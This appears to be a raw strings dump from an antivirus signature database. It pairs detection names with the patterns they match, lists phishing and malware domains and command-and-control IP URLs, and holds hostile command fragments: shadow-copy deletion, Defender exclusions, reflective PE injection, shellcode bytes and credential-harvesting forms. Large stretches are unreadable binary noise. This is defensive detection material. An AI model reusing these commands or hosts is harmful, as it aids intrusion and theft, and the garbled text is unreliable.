.tmp\t00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 !#ALF:JASYP:Trojan:Win32/Salgorea!atmn !#NRI:Dirtvantitufo.20210830 p&//bank4america.com p$.bank4america.com p //boldhamia.com .boldhamia.com p*//corporation-bf.com p(.corporation-bf.com p$//spectrummel.com p\".spectrummel.com !#ALF:JASYP:Trojan:Win32/Ymacco!atmnm  \\c4e8d0e d42b7bea76bf9589bb111_logfile.txtc4e8d0e d42b7bea76bf bb111_logfile.txtc4e8d0e logfile.txt !#ALF:JASYP:Worm:Win32/Regul!atmn !#NRI:Dirtvantunion.20210830 p //finconsult.cc .finconsult.cc p,//headway-consult.com p*.headway-consult.com p&//realmetaldns.com p$.realmetaldns.com p$//universe-dns.me p\".universe-dns.me !#ALF:JASYP:Trojan:Win32/Qhost!atmn E0 fj !#NRI:HasResponseTCPNonCommonPort.A !#//SIGATTR:LOADSDECRYPTDROPSEXEC:JS/Nemucod  0$var  ;(function(){function  !#ALF:JASYP:Trojan:Win32/Cobra!atmn .tmp\t00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 #5|`r #YsPb :1{AF t+bl(M{ GQMH[% Fm}WS TE%wG L#WQI ~M>qr ~\"{ni X9]cc Owm3 /^H&+ a;~!$ -cJ-K% .XP<& Q/ \\] p\tKX& :/.E/ DS'FD r7CRZ& `R,h1 ^Z.T G UA J` jMjM4 QG<48 S|\"H-:' /2jOYvv {'hyF [#h(p p/P95ol# 0d4%.u A&[ Vt, m-<BO Cxr|m .x>Z? ld}`P pCou> kIihDGj4 $+; - Uw APGC 9'mWGBwm x*\"z< Vi?T: E[3%Sg IZ0gc ]K5)~/ U`CK} 7ro7pj *imL* R,a BHW @;$y\" -jsaw ?8{x. pGhH+ n9SU+| xMo`m>\" GulA> rGulA> \t__}7 r\"o?w  r\"o?w T$[tDc  r$WZ r$w1U  r$w1U  r%87 r&s0LT  r&s0LT  r.M> YBFvqj3R r/7sT  r/7sT r/<99  r/<99 TW`t] oF ?g o,u u 4l{^/.p.F  r9[b  r;o! d/orY;  r@1-  rAC. f;\t0p  rBWi  rD47 rE<\\c7  rE<\\c7 BD<r'B3 wcS7)l rN\\ Oz  rN\\ Oz rNrF  rNrF rO%I~  rO%I~  rOP8  rR`  rU;E rYwm.  rYwm. $z!o6Z  rZgQ plwb? X%1bzE <T)qH{ r[G]6  r[G]6  r^%+ r_$Me  r_$Me  r_o%  ral2 870Ww rdO\ts  rdO\ts <n,Ol \"[tDw ri1}a  ri1}a B2*QA l{|:i  ro=i  rqKU rrwGs  rrwGs Xi~]# A^y$+ Fq=br j]?TU rw<4j5c  rw<4j5c  rxkX KuGLH MUkMxuf6d4p  rz)e *:E-[n  rzgO (2W'? n#ri,  t^*xAM ;Z \\^ 2>6MM _!Fl} QlU_/ \\ihA;2 W=s%Q O=H(d ;BfXn  #>CT +lfDB# 'Em=w >)I^H \tBm=+ 61T|LR 3j^[s fw'Lp Rliq; ,GeiH ]\t=\\]\t LXAP:  }@Gx qY5]6 _irN?]^ U^^ 7 !tf5B \twB<A NuXsY +9~n_ 86N99 R84]3 Gy*F{ SR$)N K3jQY \\$j{$ w|%O! u`md?% g'F0\"c c2\"yN XSVJ/:{ c9zb(> u6(fe T^!,? _nD~t [_B8r 6VFF} !\\je0Z &+b#c %5V|f h0y4#Js y`DQ/ SOYS' e0B1{~ ^)}f7 `~}FGQ jj@#x _\"9\t$H \\VtDG~ \\;b!= lR@-mi o4$cJ  \"\"Hy ?(im\\  \"&q DNv~O. \"(:xq  \"(:xq u^<+5  \"+rx 6f#&LP \"8?[d  \"8?[d  \">.b \">Q\\2y  \">Q\\2y \"?2Q*  \"?2Q*  \"@Us bmf25z SwQx+  \"DJ|  \"DLF XDa^P^` erebg  \"FM~ EG_a$ \"HVd:rl3  \"HVd:rl3  \"I#p \"Ipuz  \"Ipuz  \"JrA nk\tHNE 6/qk_ : a%*?E  \"Jtj $@-4?  \"NWJ  \"N}A  \"PNk \"QbN?  \"QbN?  6fEJ 7Ah3up  \"T_l *]*>r H  \"VyR  \"\\v? \"]O~:  \"]O~: \"]x$i  \"]x$i :1O\"^ GA==<6/  \"aTz KKNr$. \"d{2q*  \"d{2q*  \"eG6 NMJ  B \"k}$J  \"k}$J YtpF(  \"mLh  \"nSE h#_,b \"tIb^  \"tIb^ \"tho<9&  \"tho<9& pPz=N  \"wy| stop-service-name !#SCPT:URL.B!js !#SCRIPT:Cond.1 .status_code==401 !#SCRIPT:base64 base64DecodeChars base64EncodeChars !#SCRIPT:esents drivername=esents !#SCPT:JS:Frag.1 function(jquery) !#SCPT:PyFlashAQ errorjso parse !#SCPT:PyFlashAX id=%sda e=%s%s !#SCPT:Scryper.B =\"23.95.215.100\" !#SCPT:Scryper.C functionskype(){ !#SCPT:TokenInfo get-primarytoken !#SCPT:VBSScared e66eaba29196e06d !#SCRIPT:Trick.B https !#SCRIPT:XL4Exec <f>exec( !#SCRIPT:coredsp web/core.dsp.tld !#XmlComplexType <xs:complextype> !#SCPT:ActDirNetC dclist !#SCPT:EXPSEQ_2.B 0xffc339facb3ba !#SCPT:EXPSEQ_3.D 0xd98acaa029839 !#SCPT:Neptuner.D defsendsuplinit !#SCPT:XML/UrlChk </f><v>https:// !#//XLSM:NtdllCall <f>call(\"ntdll !#SCPT:BadBuild.A2 optionalheader !#SCPT:BadBuild.A4 virtualaddress !#SCPT:Beafpwner.A frompwnimport* !#SCPT:ChromeVer.B \"88.0.4324.79\" !#SCPT:ChromeVer.C \"88.0.4324.68\" !#SCPT:ChromeVer.F \"87.0.4280.86\" !#SCPT:ChromeVer.G \"87.0.4280.66\" !#SCPT:Thinblood.2 log.events.vc0 !#SCPT:Thinblood.3 log.access.vc0 amsiinitfailed amsiscanbuffer amsiscanstring !#SCRIPT:WordPress /wp-snapshots/ !#SCRIPT:XL4Export registerserver !#Worm:VBS/Jenxcs1 functioned64it !#Worm:VBS/NtMaas2 foreachfieldin !#MacOS_DarthMiner4 curl-o !#SCPT:/Poisonshell /*poisonshell !#SCPT:Nemucod.ret1 {return'resp' !#SCPT:Nemucod.ret3 {return'xa.o' !#SCPT:PEParsing.AE +0x3c +0x78 !#SCPT:PEParsing.AF +0x88 !#SCPT:PEParsing.AJ =0xe9  =0xe8 !#SCPT:PEParsing.BB =find base( !#SCPT:PEParsing.BD !#SCPT:PSNetDisc!nu net1.exe user !#SCPT:PSUserDisc!u $env:username !#SCPT:PageLanguage pagelanguage= !#SCPT:ServmoopsA.A got sessionid !#SCPT:ServmoopsA.B got csrftoken !#SCRIPT:Psrtlmov.A !#SCRIPT:htmldecode htmldecode.js !#AllowList:AMSIVBS1 taniumclient !#BRUTE:JAMSI:ComN:2 _stream file>>stream !#SCPT:Nemucod.AAI10 \"].pop();var !#SCPT:Nemucod.GET.2 \"g\\x45\"+\"t\"; !#SCPT:PSProcDisc!qp queryprocess !#SCPT:PSUserDisc!qu !#SCPT:Sessington.AD escript_base !#SCPT:VBSSmallArray  (10)= !#SCPT:XML/ShellExec !#SCRIPT:FileExecRel !#SCRIPT:ImportJavax importjavax. !#SCRIPT:JsDropLnk.E .targetpath( !#SCRIPT:NetShDiscov get-smbshare !#SCRIPT:Ruby_Code.D require' !#AnalysisProcName.A7  !#AnalysisProcName.A8 sbiesvc.exe  !#AnalysisProcName.B5 petools.exe  !#AnalysisProcName.B8 httplog.exe  !#AnalysisProcName.C2 pr0c3xp.exe  !#AnalysisProcName.D8  !#AnalysisProcName.D9 bindiff.exe  !#AnalysisProcName.E2 procmon.exe  !#AnalysisProcName.E5 tcpdump.exe  !#AnalysisProcName.F1 regshot.exe  !#AnalysisProcName.F2 dumpcap.exe  !#AnalysisProcName.G1 filemon.exe  !#BM_SdbRedirectEXE.A redirectexe  !#BRUTE:JAMSI:ComN:16 shell3  !#BRUTE:JAMSI:ComN:57 idrive  !#BRUTE:JAMSI:FuncN:4 .writetext(  !#BRUTE:JAMSI:FuncN:6 .writeline(  !#BRUTE:JAMSI:FuncN:9 .workbooks(  !#PUA:MacOS/Pirrit.G2 v/pd-logger  !#SCPT:HTML/Phish.S10 \\/proc.php?  !#SCPT:JS/Belmont.ZD3 yrarbildaol   !#SCPT:eMailMessageID message-id:  !#SCRIPT:AutoItNoTray  net.exeview  !#SCRIPT:SuspProcEnum get-process  queryuser -  'ss_+mest' !#BRUTE:JAMSI:FuncN:18 .username( !#BRUTE:JAMSI:FuncN:36 .skipline( !#BRUTE:JAMSI:FuncN:44 .setproxy( !#BRUTE:JAMSI:FuncN:46 .sendkeys( !#BRUTE:JAMSI:FuncN:60 .regwrite( !#BRUTE:JAMSI:FuncN:64 .readtext( !#BRUTE:JAMSI:FuncN:65 .readline( !#BRUTE:JAMSI:FuncN:70 .position( !#BRUTE:JAMSI:FuncN:86 .navigate( !#BRUTE:JAMSI:FuncN:91 .movelast( !#BRUTE:JAMSI:FuncN:93 .movefile( !#BRUTE:JAMSI:FuncN:96 .logevent( !#SCPT:ClnWordsCat1_19 7zipplugin !#SCPT:ClnWordsCat1_20 lantoucher !#SCPT:ClnWordsCat2_13 regulation !#SCPT:ClnWordsCat2_21 nowarranty !#SCPT:ClnWordsCat2_25 termsofuse !#SCPT:ClnWordsCat2_35 disclosure !#SCPT:ClnWordsCat2_39 permission !#SCPT:ClnWordsCat3_21 powercrypt !#SCPT:ClnWordsCat3_25 wordcount: !#SCPT:EoIronSource.00 cashurl.in !#SCPT:EoIronSource.01 adver.mobi !#SCPT:EoIronSource.07 uniqube.tv !#SCPT:EpsStrontiumXor <c45d6491> !#SCPT:JS/Belmont.ZD11 eunitnoctn !#SCPT:JS/Nemucod.AAD1 ['88']=''; payin3days !#SCPT:JS/Phish.S2!MTB .btn-email !#SCPT:Nemucod:Y0:0001 =\"==\";vari !#SCPT:Nemucod:Y0:0004 =\"xm\";vare !#SCPT:Nemucod:Y0:0005 =\"get\";var !#SCPT:Nemucod:Y0:0007 =\"pna\";var !#SCPT:OLE.Equation3.A equation.3 !#SCRIPT:Has_HtmlDiv.A <div class !#SCRIPT:PS_AD_Cmdlets get-aduser !#SCRIPT:StartExplorer &&explorer !#BRUTE:JAMSI:FuncN:103 .isready( !#BRUTE:JAMSI:FuncN:123 .getfile( !#BRUTE:JAMSI:FuncN:140 .execute( !#BRUTE:JAMSI:FuncN:178 .charset( !#BRUTE:JAMSI:FuncN:208 !#SCPT:Adodb.vbsappdata !#SCPT:CsharpWebShell.J .connect( !#SCPT:CsharpWebShell.K .receive( !#SCPT:EXCL:JS.Chrext.2 datalayer !#SCPT:JS/Denali.A1!eml p2capcity !#SCPT:JS/SLoad.RB1!MTB fucking80 !#SCPT:JS/SLoad.RB2!MTB injuice24 !#SCPT:Python.FromNumpy fromnumpy !#SCPT:RansomNoteCat4_3 !#SCPT:RansomNoteCat4_4 permanent !#SCPT:RansomNoteCat4_9 encrypted !#SCPT:RansomNoteCat5_3 greetings !#SCPT:RansomNoteCat6_9 btcdirect !#SCRIPT:PHP/Maghelp.A3 fwsoshell !#BRUTE:JS:Feature:M:486 *@cc_onv  !#BRUTE:JS:Feature:M:505 ://slhzp  !#PUA:MacOS/SurfBuyer.F4 webtools  !#SCPT:AutoItApi_Ceiling ceiling(  !#SCPT:AutoItApi_ClipGet clipget(  !#SCPT:AutoItApi_ClipPut clipput(  !#SCPT:AutoItApi_DirCopy dircopy(  !#SCPT:AutoItApi_DirMove dirmove(  !#SCPT:AutoItApi_DllCall dllcall(  !#SCPT:AutoItApi_DllOpen dllopen(  !#SCPT:AutoItApi_Execute  !#SCPT:AutoItApi_InetGet inetget(  !#SCPT:AutoItApi_IniRead iniread(  !#SCPT:AutoItApi_IsAdmin isadmin(  !#SCPT:AutoItApi_IsArray isarray(  !#SCPT:AutoItApi_IsFloat isfloat(  !#SCPT:AutoItApi_MouseUp mouseup(  !#SCPT:AutoItApi_ObjName objname(  !#SCPT:AutoItApi_RegRead regread(  !#SCPT:AutoItApi_RunWait runwait(  !#SCPT:AutoItApi_SRandom srandom(  !#SCPT:AutoItApi_TCPRecv tcprecv(  !#SCPT:AutoItApi_TCPSend tcpsend(  !#SCPT:AutoItApi_ToolTip tooltip(  !#SCPT:AutoItApi_TrayTip traytip(  !#SCPT:AutoItApi_UDPBind udpbind(  !#SCPT:AutoItApi_UDPOpen udpopen(  !#SCPT:AutoItApi_UDPRecv udprecv(  !#SCPT:AutoItApi_UDPSend udpsend(  !#SCPT:AutoItApi_WinKill winkill(  !#SCPT:AutoItApi_WinList winlist(  !#SCPT:AutoItApi_WinMove winmove(  !#SCPT:AutoItApi_WinWait winwait(  =jquery.  !#SCPT:RansomNoteCat3_12 rsa-1024  !#SCPT:RansomNoteCat3_13 rsa-2048  !#SCPT:RansomNoteCat3_39 tutanota  !#SCPT:RansomNoteCat3_45  !#SCPT:RansomNoteCat3_46 weakness  !#SCPT:RansomNoteCat4_13 impossib  !#SCPT:RansomNoteCat4_17 personal  !#SCPT:RansomNoteCat4_20  !#SCPT:RansomNoteCat4_21  !#SCPT:RansomNoteCat4_27 business  !#SCPT:RansomNoteCat4_29 computer  !#SCPT:RansomNoteCat4_32  !#SCPT:RansomNoteCat4_45 possible  !#SCPT:RansomNoteCat4_50 software  !#SCPT:RansomNoteCat6_11 coinbase  !#SCPT:RansomNoteCat6_12 coincafe  !#SCPT:RansomNoteCat6_14 coindesk  !#SCPT:RansomNoteCat6_18 coinmama  !#SCPT:TechBroloDetected detected  !#SCPT:TechBroloTollFree tollfree  !#SCPT:TechBrolobaInfect  !#SCPT_AMSIDll_reference amsi.dll  shell32.  winhttp.  !#SCRIPT:PHP/DirFunc!MTB opendir(  !#SCRIPT:VBS/StringEXE.B .exe\"\">>  !#SCPT:JsMethodFunc_abort .abort( \t.abort( !#SCPT:JsMethodFunc_apply .apply( \t.apply( !#SCPT:JsMethodFunc_atan2 .atan2( \t.atan2( !#SCPT:JsMethodFunc_atend .atend( \t.atend( !#SCPT:JsMethodFunc_blink .blink( \t.blink( !#SCPT:JsMethodFunc_every .every( \t.every( !#SCPT:JsMethodFunc_fixed .fixed( \t.fixed( !#SCPT:JsMethodFunc_floor .floor( \t.floor( !#SCPT:JsMethodFunc_isnan .isnan( \t.isnan( !#SCPT:JsMethodFunc_match .match( \t.match( !#SCPT:JsMethodFunc_parse .parse( \t.parse( !#SCPT:JsMethodFunc_round \t.round( !#SCPT:JsMethodFunc_shift .shift( \t.shift( !#SCPT:JsMethodFunc_slice .slice( \t.slice( !#SCPT:JsMethodFunc_small .small( \t.small( !#SCPT:JsMethodFunc_split \t.split( !#SCPT:JsMethodFunc_write !#SCPT:PDF:Stayt_13EE77D4 /en_en/ \t/en_en/ !#SCPT:PDF:Stayt_2DF9F342 /office \t/office !#SCPT:PDF:Stayt_4D54269C /de_de/ \t/de_de/ !#SCPT:PDF:Stayt_6B02E910 /us_us/ \t/us_us/ !#SCPT:PDF:Stayt_91F7E42D /admin/ \t/admin/ !#SCPT:PDF:Stayt_98211062 /xerox/ \t/xerox/ !#SCPT:PDF:Stayt_9BA0263C .com/en \t.com/en !#SCPT:PDF:Stayt_B9D21F35 .vn/de/ \t.vn/de/ !#SCPT:PDF:Stayt_C1228683 .com.br \t.com.br !#SCPT:PDF:Stayt_F0A4B8B8 /en_us/ \t/en_us/ !#SCPT:PDF:Stayt_F6EE2CD0 .ac.id/ \t.ac.id/ !#SCPT:PDF:Stayt_FF77220F com/de/ \tcom/de/ !#SCPT:Phish:PHP/Rmdir.GG rrmdir( \trrmdir( !#SCPT:Tobeet_Js_D669ED46 p,p,p~p \tp,p,p~p !#SCRIPT:FlashExp_elsefor elsefor \telsefor !#SCRIPT:FlashExp_is_vuln is_vuln \tis_vuln !#SCRIPT:FlashExp_rc4_key rc4_key \trc4_key !#SCRIPT:FlashExp_withfor withfor \twithfor !#SCRIPT:Has_PerlFormat.D ;BEGIN{ \t;BEGIN{ !#SCRIPT:JS/Nemucod.BG.01 ,\".pw\", \t,\".pw\", !#SCRIPT:JS/Nemucod.BG.05 ,\"run\", \t,\"run\", !#SCRIPT:VariableFormat.A format= \tformat= !#BRUTE:JAMSI:Feature: gi.web.app p&wxxqyqpeed.web.app p&xxkdntutkn.web.app p&zqtqkixbea.web.app //biglabs.asia .biglabs.asia p\"//factorbot.cyou p .factorbot.cyou p\"//fibermile.cyou p .fibermile.cyou p$//methodplex.cyou p\".methodplex.cyou p$//rachetdown.cyou p\".rachetdown.cyou p\"//solidknot.cyou p .solidknot.cyou p\"//boltaxle.store p .boltaxle.store p$//craftpath.store p\".craftpath.store p$//highdrift.store p\".highdrift.store p$//monofield.store p\".monofield.store !#NRI:Highscout.20210830.1 p$//my-oauth.online p\".my-oauth.online p //my-rfa.online .my-rfa.online p(//mydocs-rfa.online p&.mydocs-rfa.online p\"//rs-live.online p .rs-live.online //rs-ms.online .rs-ms.online p,//setting-live.online p*.setting-live.online p\"//sso-rfa.online p .sso-rfa.online p //files-ait.org .files-ait.org p&//files-taitra.org p$.files-taitra.org //my-dpp.org .my-dpp.org p //my-merics.org .my-merics.org p(//nextcloud-rfa.org p&.nextcloud-rfa.org p,//security-merics.org p*.security-merics.org p&//cc-mail-yahoo.pw p$.cc-mail-yahoo.pw p*//hotmail-upgrade.pw p(.hotmail-upgrade.pw //mail-live.pw .mail-live.pw p //mail-yahoo.pw .mail-yahoo.pw p,//outlookwebaccess.pw p*.outlookwebaccess.pw p$//yahoo-update.pw p\".yahoo-update.pw p\"//yahoocenter.pw p .yahoocenter.pw p&//yahoosecurity.pw p$.yahoosecurity.pw //amcham.space .amcham.space p*//myedit-yahoo.space p(.myedit-yahoo.space //my-gov.tw .my-gov.tw p //auth-yahoo.us .auth-yahoo.us //e-rfa.us .e-rfa.us //amcham.work .amcham.work p&//amchamdrive.work p$.amchamdrive.work p$//edit-yahoo.work p\".edit-yahoo.work //my-disk.work .my-disk.work p //my-yahoo.work .my-yahoo.work p //myamcham.work .myamcham.work //mydri.work .mydri.work //myfiles.work .myfiles.work p\"//sso-yahoo.work p .sso-yahoo.work p\"//untreated.work p .untreated.work //up-mail.work .up-mail.work !#NRI:Dirtvantionni.20210830 //legalair.cl .legalair.cl p(//amonziamahmud.com p&.amonziamahmud.com //amrymte.com .amrymte.com //atommjet.com .atommjet.com //buiyosi.com .buiyosi.com //cahmader.com .cahmader.com p$//cityhampton.com p\".cityhampton.com p4//clairecolemandesign.com p2.clairecolemandesign.com //ctudisb.com .ctudisb.com p$//ertelalsaop.com p\".ertelalsaop.com p0//ferrangrouprealty.com p..ferrangrouprealty.com p*//grizzresources.com p(.grizzresources.com p\"//gtfmontana.com p .gtfmontana.com p2//jessicawrighthomes.com p0.jessicawrighthomes.com p8//legacyeventsanddesign.com p6.legacyeventsanddesign.com //mavreii.com .mavreii.com //munhoiuy.com .munhoiuy.com p(//noeventteamsc.com p&.noeventteamsc.com //oakays.com .oakays.com p://orangetrucklandscaping.com p8.orangetrucklandscaping.com p //pkellyart.com .pkellyart.com p.//plasticexchanges.com p,.plasticexchanges.com p\"//roommeband.com p .roommeband.com p$//royalvipcar.com p\".royalvipcar.com p$//ryderscotts.com p\".ryderscotts.com p*//sakai-antilles.com p(.sakai-antilles.com pH//scoreclockssportstechnologies.com pF.scoreclockssportstechnologies.com //tekolm.com .tekolm.com p(//truthaboutisi.com p&.truthaboutisi.com p4//yshoreunderwritters.com p2.yshoreunderwritters.com p$//musiccenter.net p\".musiccenter.net p&//radhikawalia.net p$.radhikawalia.net p.//thetruthaboutisi.net p,.thetruthaboutisi.net //cpanel.co.th .cpanel.co.th p*//ambientphota.co.uk p(.ambientphota.co.uk p,//plasticwastes.co.uk p*.plasticwastes.co.uk p(//ssellrrctlm.co.uk p&.ssellrrctlm.co.uk //acurashu.com .acurashu.com //altlass.com .altlass.com //banksgmb.com .banksgmb.com //bmwfor.com .bmwfor.com //checkauj.com .checkauj.com p //clubggtop.com .clubggtop.com //digtstat.com .digtstat.com //firedigt.com .firedigt.com p\"//franktomaz.com p .franktomaz.com //groupbzs.com .groupbzs.com //hondame.com .hondame.com //jomihd.com .jomihd.com p //macrodown.com .macrodown.com p&//mariamistado.com p$.mariamistado.com //mazdafo.com .mazdafo.com //merssed.com .merssed.com //microgbm.com .microgbm.com p(//minicombosoft.com p&.minicombosoft.com //mitsubon.com .mitsubon.com //namastat.com .namastat.com //sammitng.com .sammitng.com p&//securesoftme.com p$.securesoftme.com //sharpfoz.com .sharpfoz.com //shuterb.com .shuterb.com p //softsecur.com .softsecur.com p$//waitingdate.com p\".waitingdate.com //zanzibor.com .zanzibor.com //zkhvolg.com .zkhvolg.com p(acura.azureedge.net p&apiz.azureedge.net p,atlasin.azureedge.net p$bmw.azureedge.net p*checks.azureedge.net p(clubg.azureedge.net p&diva.azureedge.net p&fans.azureedge.net p&five.azureedge.net p&ford.azureedge.net p$fox.azureedge.net p(honda.azureedge.net p,karavan.azureedge.net p0macrodown.azureedge.net p$mat.azureedge.net p(mazda.azureedge.net p&mers.azureedge.net p(mitsu.azureedge.net p*onenew.azureedge.net p6securesoftme.azureedge.net p(seven.azureedge.net p(sharp.azureedge.net p(smith.azureedge.net p&sofa.azureedge.net p&soft.azureedge.net p$sok.azureedge.net p(volga.azureedge.net p(zanzi.azureedge.net p<d3uexwarxkd1ug.cloudfront.net !#NRI:Dirtvantuonsi.20210830 //akastat.app .akastat.app p //azurestat.app .azurestat.app p$//akamaistats.com p\".akamaistats.com p\"//akametrics.com p .akametrics.com p&se1.buttonrich.com p(//classworldint.com p&.classworldint.com p6//dashsecuritybusiness.com p4.dashsecuritybusiness.com p4//discriminatesection.com p2.discriminatesection.com p(//displaychecks.com p&.displaychecks.com p>//entirelysecuritybusiness.com p<.entirelysecuritybusiness.com p\"//frostydawn.com p .frostydawn.com p>//hesitatesecuritybusiness.com p<.hesitatesecuritybusiness.com p6//janesecuritybusiness.com p4.janesecuritybusiness.com p6//killsecuritybusiness.com p4.killsecuritybusiness.com p6//knotsecuritybusiness.com p4.knotsecuritybusiness.com p4//letsecuritybusiness.com p2.letsecuritybusiness.com p6//listsecuritybusiness.com p4.listsecuritybusiness.com p8//livedsecuritybusiness.com p6.livedsecuritybusiness.com p6//madesecuritybusiness.com p4.madesecuritybusiness.com p.//notepadsswallows.com p,.notepadsswallows.com p$//pacerenrapt.com p\".pacerenrapt.com p\"//risetomoon.com p .risetomoon.com p6//ropesecuritybusiness.com p4.ropesecuritybusiness.com p6//securitybusinessacid.com p4.securitybusinessacid.com p6//securitybusinesshurt.com p4.securitybusinesshurt.com p6//securitybusinessmean.com p4.securitybusinessmean.com p6//securitybusinessmeta.com '<scriptsrc= webmine.pro/lib/crlt.js !#Trojan:VBS/Gansom.A!vc3 wscript.createobject(\"wscript.shell\") 'wscript.createobject(\"wscript.shell\") !#Trojan:VBS/Powbow!f6f_5 a.writeline(\"awygkchhzxqtv21pt2jqzwn0 'a.writeline(\"awygkchhzxqtv21pt2jqzwn0 !#ALFPER:SCPT:Amonetize.A2 mybestofferstoday{tmp}(default){app} &mybestofferstoday{tmp}(default){app} :impassablefileprivatens:speculation &:impassablefileprivatens:speculation <dc:publisher>unknown</dc:publisher> &<dc:publisher>unknown</dc:publisher> !#SCPT:Downloader.Telbot.4 \"cmd.exe/c\"+arg+\" &\"cmd.exe/c\"+arg+\" @oshell.runcmd,0, !#SCPT:Exploit:JS/Anogre.B .substring(60).replace(/ &.substring(60).replace(/ /,\"\"); !#SCPT:HTML/Phish.PHS1!MTB url:'https://jiagnmehn.gq/post.php', &url:'https://jiagnmehn.gq/post.php', !#SCPT:HTML/Phish.VPP6!MTB data:{email:email,password:password, &data:{email:email,password:password, !#SCPT:HTML/Phish.VPV5!MTB >logintocontinuetrackingyourpackage< &>logintocontinuetrackingyourpackage< !#SCPT:NodeJS!createserver http.createserver((request,response) &http.createserver((request,response) 45.142.214.113/ &45.142.214.113/ </f><v>  ?</f><v> !#SCPT:O97M/Qakbot.RQQ!MTB +creatdicoya\\:jmgshlexukn/statik.exe &+creatdicoya\\:jmgshlexukn/statik.exe -:5@=;creatdicoya\\:jmgshlexu/q/1.gif &-:5@=;creatdicoya\\:jmgshlexu/q/1.gif !#SCPT:O97M/Ursnif.RR1!MTB http://149.3.170.235/qw-fad/ &http://149.3.170.235/qw-fad/ .exe< !#SCPT:O97M/Ursnif.RU2!MTB &<si><t>lregis</t></si> O<si><t>ter< !#SCPT:PS:ReflectiveInject invoke-reflectivepeinjection-pebytes &invoke-reflectivepeinjection-pebytes !#SCPT:PWS:HTML/Phish.ORC1 pleaseverifyyoursocialsecuritynumber &pleaseverifyyoursocialsecuritynumber !#SCPT:PsCheckIpWebRequest invoke-webrequest-uri &invoke-webrequest-uri curlmyip.net !#SCPT:Trojan:JS/Phish.DU2 javascript>document.write(unescape(' &javascript>document.write(unescape(' !#SCPT:iwshWscriptLaunch.A &iwshshell .run(\"true\",\"1\",\"wscript !#SCRIPT:HTML/TechIframe.A <iframeid=\" &<iframeid=\" \"src=\"/site\"></iframe> on(){++(window[ &on(){++(window[ \t0-9a-zA-Z].body)} !#SCRIPT:PHP/Bewbyp.A3!MTB <?echo\"uname-a:\";echo(php_uname())?> &<?echo\"uname-a:\";echo(php_uname())?> !#SCRIPT:Python/Redjohn.A1 /windows/startmenu/programs/startup/ &/windows/startmenu/programs/startup/ !#SCRIPT:SuspAccountdiscov get-aduser-filter &get-aduser-filter name-like\"*admin !#SCRIPT:WDImpairDefense.B &add-mppreference 0-exclusionpathc:\\ !#Trojan:HTML/Phish.KSH!a2 /wp-content/uploads/ &/wp-content/uploads/  /dhl-logo.jpg !#Trojan:VBS/Rsado.R!Rttr3 wshell.run\"schtasks/create/sconce/tn &wshell.run\"schtasks/create/sconce/tn !#Exploit:HTML/Fllout.A_DH2 emptyvalendsubfunctionexploit(arg1) %emptyvalendsubfunctionexploit(arg1) !#SCPT:HTML/Phish.DHHZ3!MTB yurmilrsswordisinrrt.pleasetryagain %yurmilrsswordisinrrt.pleasetryagain !#SCPT:JS/MalScript.ZY3!MTB .run(\"wscript.exe//b\\\"\"+s2+\"\\\"\",6); %.run(\"wscript.exe//b\\\"\"+s2+\"\\\"\",6); !#SCPT:JS/Obfuse.RMXLX3!MTB ;\",array(\"dat\",\"at\",\"ype\").joi',']; %;\",array(\"dat\",\"at\",\"ype\").joi',']; !#SCPT:O97M/EncDoc.REV2!MTB <si><t>http://45.84.1.195/</t></si> %<si><t>http://45.84.1.195/</t></si> wnloadtfilldo\") %wnloadtfilldo\") svr32 O/you.html !#SCPT:O97M/IcedId.RVS5!MTB on.time(now()+\"00:00:02\",\"milolos\") %on.time(now()+\"00:00:02\",\"milolos\") !#SCPT:O97M/Qakbot.RVQ6!MTB <si><t>http://45.90.59.77/</t></si> %<si><t>http://45.90.59.77/</t></si> !#SCPT:PSByteShellcodeJmp.A %[byte[]]$ P=0xeb,0x5a,0x31,0xc0,0x !#SCPT:PWS:HTML/Phish.SMKV4 emailsettings|for:<i><?phpecho$mail %emailsettings|for:<i><?phpecho$mail !#SCPT:Trojan:VBS/HiddenRun objshell.run %objshell.run  start .exe\",vbhide !#SCRIPT:JS/ExplLoadFlash.C %+'<paramname=\"play\"value=\"true\"/>'; !#SCRIPT:JS/TechAlertCode.H for(i=0;i< %for(i=0;i< ;i++){ 0alert( .toString();history[_0x %.toString();history[_0x ](0,0,_0x !#SCRIPT:PHP/SocketCreate.A socket_create %socket_create (af_inet,sock_stream !#SCRIPT:PowerShell/TSyncml get-codepage-name %get-codepage-name  -o365 -syncml !#SCRIPT:Python/TalkBack.B2 =serve_thread_udp,args=('',53,dns,) %=serve_thread_udp,args=('',53,dns,) !#Worm:VBS/Pordeezy.B!lnk.2 &cls&startjavaupdate. %&cls&startjavaupdate. jsvbe&cls& !#ALF:Exploit:HTML/EfCinco.E /tmui/lo $/tmui/lo in.jsp/%2e%2e%3b/hsqldb !#SCPT:O97M/Dridex.ZPGA9!MTB wmicprocesscallcreate\"rundll32.exe $wmicprocesscallcreate\"rundll32.exe !#SCPT:O97M/EncDoc.RAAB1!MTB <vt:lpstr>foglidilavoro</vt:lpstr> $<vt:lpstr>foglidilavoro</vt:lpstr> http://docs.atu.ngr.mybluehost.me/ $http://docs.atu.ngr.mybluehost.me/ !#SCPT:O97M/EncDoc.RJJJJ!MTB name1d.site/ $name1d.site/  !#SCPT:O97M/Encdoc.VISA3!MTB tar-xf..\\nioka.meposv-c..\\\"</f><v> $tar-xf..\\nioka.meposv-c..\\\"</f><v> !#SCPT:O97M/FormBook.RXX!EML /0ylkhhgkr5e5gks.php $/0ylkhhgkr5e5gks.php  /o5atddb7ib8fbht.php $/o5atddb7ib8fbht.php  !#SCPT:O97M/IcedID.VIS35!MTB <si><t>bkxf24hfvt03ftrd.xyz/grays. $<si><t>bkxf24hfvt03ftrd.xyz/grays. !#SCPT:O97M/Trickbot.SS3!MTB http://195.123.219.21/campo/t3/t3d $http://195.123.219.21/campo/t3/t3d !#SCPT:PWS:HTML/PhishHotMail onclick=\"openoffersdialoghotmail() $onclick=\"openoffersdialoghotmail() !#SCPT:Ransom:BAT/Clop.D!vc2 vssadminresizeshadowstorage/for=c: $vssadminresizeshadowstorage/for=c: !#SCPT:Trojan:HTML/Phish.KS2 formmethod=\"post\"action=\"post.php\" $formmethod=\"post\"action=\"post.php\" !#SCPT:Trojan:IS/AutoRun.KD6 systemroot%\\system32\\shell32.dll,4 $systemroot%\\system32\\shell32.dll,4 !#SCRIPT:BitmapRemotesave.A2 system.drawing.imaging.imageformat $system.drawing.imaging.imageformat !#SCRIPT:Exploit:JS/AimesuE2 string.prototype.mm=function(g,u){ $string.prototype.mm=function(g,u){ 